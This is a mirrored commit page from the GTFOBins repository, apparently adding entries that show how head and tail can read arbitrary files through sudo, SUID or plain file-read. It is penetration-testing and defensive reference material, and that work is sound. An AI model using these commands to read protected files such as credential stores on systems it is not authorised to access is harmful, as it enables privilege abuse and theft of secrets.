mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-01-15 00:01:45 +01:00
Add head, tail
This commit is contained in:
parent
33a485b2b9
commit
4aa87be402
15
_gtfobins/head.md
Normal file
15
_gtfobins/head.md
Normal file
@ -0,0 +1,15 @@
|
||||
---
|
||||
functions:
|
||||
sudo-enabled:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
sudo head -c1G "$LFILE"
|
||||
suid-enabled:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
./head -c1G "$LFILE"
|
||||
file-read:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
head -c1G "$LFILE"
|
||||
---
|
15
_gtfobins/tail.md
Normal file
15
_gtfobins/tail.md
Normal file
@ -0,0 +1,15 @@
|
||||
---
|
||||
functions:
|
||||
sudo-enabled:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
sudo tail -c1G "$LFILE"
|
||||
suid-enabled:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
./tail -c1G "$LFILE"
|
||||
file-read:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
tail -c1G "$LFILE"
|
||||
---
|
Loading…
Reference in New Issue
Block a user